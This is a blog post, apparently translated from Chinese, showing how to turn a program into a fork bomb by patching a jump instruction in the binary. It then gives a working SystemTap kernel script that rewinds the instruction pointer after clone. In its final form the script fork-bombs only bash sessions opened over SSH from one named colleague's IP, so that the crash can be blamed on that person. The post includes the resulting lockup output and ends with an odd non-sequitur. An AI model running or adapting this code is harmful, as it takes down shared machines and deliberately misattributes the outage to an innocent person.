Forgive me not to repeat the fork bomb implemented by bash.
Let's see how simple it is to make an ordinary program that calls fork internally into a fork bomb. Look at the code first:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
if (fork() == 0) {
printf("I am child\n");
exit(0);
}
printf("I am parent\n");
return 0;
}
Compile:
[root@localhost test]# gcc -O0 fbomb.c -o fbomb
Export and view the instructions called by fork:
[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork
4005ad: 55 push %rbp
4005ae: 48 89 e5 mov %rsp,%rbp
4005b1: 48 83 ec 10 sub $0x10,%rsp
4005b5: 89 7d fc mov %edi,-0x4(%rbp)
4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)
4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>
4005c1: 85 c0 test %eax,%eax
4005c3: 75 14 jne 4005d9 <main+0x2c>
4005c5: bf 80 06 40 00 mov $0x400680,%edi
4005ca: e8 a1 fe ff ff callq 400470 <puts@plt>
4005cf: bf 00 00 00 00 mov $0x0,%edi
Note that the call pointed to by 4005bc is the idiomatic paradigm of fork call, that is, to determine whether it is 0 or non-zero, so our modification is very simple:
- Change 4005c3 to JC(0x72) rel8(s8 offset): 0x72 0xf7 (ie -9)
In fact, few C libraries now directly call the fork system call, and clone is generally used.
Then the following is the reform:
# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd
According to the results of objdump, find the address near 0005bc:
000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf
Change it to:
000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf
Save:
...
./fbomb [+]
:%!xxd -r
Confirm and see if the modification is successful:
[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork
4005b1: 48 83 ec 10 sub $0x10,%rsp
4005b5: 89 7d fc mov %edi,-0x4(%rbp)
4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)
4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>
4005c1: 85 c0 test %eax,%eax
4005c3: 72 f7 jb 4005bc <main+0xf>
4005c5: bf 80 06 40 00 mov $0x400680,%edi
OK, the modification is successful, the program has become a fork bomb. I won’t demonstrate it here, this thing cannot be demonstrated.
Let us continue.
Can you do it with bash? of course can!
[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork
4415ea: 44 89 f7 mov %r14d,%edi
4415ed: e8 5e a4 fd ff callq 41ba50 <sleep@plt>
4415f2: 85 c0 test %eax,%eax
4415f4: 0f 85 06 01 00 00 jne 441700 <make_child@@Base+0x1f0>
4415fa: 45 01 f6 add %r14d,%r14d
4415fd: e8 7e a4 fd ff callq 41ba80 <fork@plt>
441602: 85 c0 test %eax,%eax
441604: 89 c3 mov %eax,%ebx
441606: 78 b8 js 4415c0 <make_child@@Base+0xb0>
441608: 0f 85 2b 01 00 00 jne 441739 <make_child@@Base+0x229>
44160e: 66 90 xchg %ax,%ax
Almost the same routine. But we can't directly change bash, so we can only use systemtap to tinker with some strategies in the kernel.
Bash does not directly call fork/clone, but through the C library, so let's see how the C library does it:
[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...
The following are the steps to initiate a clone call:
284431 00000000000fde40 <__clone>:
284432 fde40: 48 c7 c0 ea ff ff ff mov $0xffffffffffffffea,%rax
284433 fde47: 48 85 ff test %rdi,%rdi
284434 fde4a: 74 69 je fdeb5 <__clone+0x75>
284435 fde4c: 48 85 f6 test %rsi,%rsi
284436 fde4f: 74 64 je fdeb5 <__clone+0x75>
284437 fde51: 48 83 ee 10 sub $0x10,%rsi
284438 fde55: 48 89 4e 08 mov %rcx,0x8(%rsi)
284439 fde59: 48 89 3e mov %rdi,(%rsi)
284440 fde5c: 48 89 d7 mov %rdx,%rdi
284441 fde5f: 4c 89 c2 mov %r8,%rdx
284442 fde62: 4d 89 c8 mov %r9,%r8
284443 fde65: 4c 8b 54 24 08 mov 0x8(%rsp),%r10
284444 fde6a: b8 38 00 00 00 mov $0x38,%eax
284445 fde6f: 0f 05 syscall
We already know what to do:
- Before the clone system call returns, it is enough to modify the rip of the parent and child process to the clone system call itself, that is, the rip address goes back 12 bytes or 28 bytes to reach the starting position of the clone call preparation parameters.
OK, here is the stap script:
#!/usr/local/bin/stap -g
function do_it(p:long)
%{
struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
struct pt_regs *regs;
if (strcmp(tsk->comm, "fbomb"))
return;
regs = task_pt_regs(tsk);
regs->ip -= 12;
%}
// hook 资进程
probe kernel.function("copy_thread").return
{
do_it(@entry($p))
}
// hook 当前父进程
probe kernel.function("sys_clone").return
{
if ($return > 0)
do_it(task_current())
}
OK, the basic framework is complete. You can try my original fbomb binary program.
Now, let's add some strategies:
- Only the bash ssh from the manager's machine 192.168.56.101 will bomb when the bash program is executed. So you can blame the manager!
Remember the association mechanism between TCP connections and processes I wrote earlier?
https://blog.csdn.net/dog250/article/details/108134813
Based on it, we can judge whether the manager is executing bash.
Here is the code:
#!/usr/local/bin/stap -g
%{
#include <net/tcp.h>
#include <linux/fdtable.h>
static inline void ip2str(char *to, unsigned int from)
{
int size = snprintf(to, 16, "%pI4", &from);
to[size] = '\0';
}
%}
function do_it(p:long)
%{
struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
struct task_struct *parent;
struct file *file;
struct socket *sock;
struct sock *sk;
char raddr[16];
struct pt_regs *regs;
if (strcmp(tsk->comm, "bash"))
return;
parent = tsk->parent;
if (strcmp(parent->comm, "sshd"))
return;
file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!
sock = (struct socket *)file->private_data;
sk = sock->sk;
ip2str(raddr, inet_sk(sk)->inet_daddr);
if (strcmp(raddr, "192.168.56.101"))
return;
regs = task_pt_regs(tsk);
regs->ip -= 12;
%}
probe kernel.function("copy_thread").return
{
do_it(@entry($p))
}
probe kernel.function("sys_clone").return
{
if ($return > 0)
do_it(task_current())
}
Here is the effect of bash on the manager machine:
[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
Well, yes, it is the manager.
Some people say that I can do this because I have root. I said that most people can't do it if they are rooted. If you don't believe me, try it.
It was a joke.
The leather shoes in Wenzhou, Zhejiang are wet, so they won’t get fat in the rain.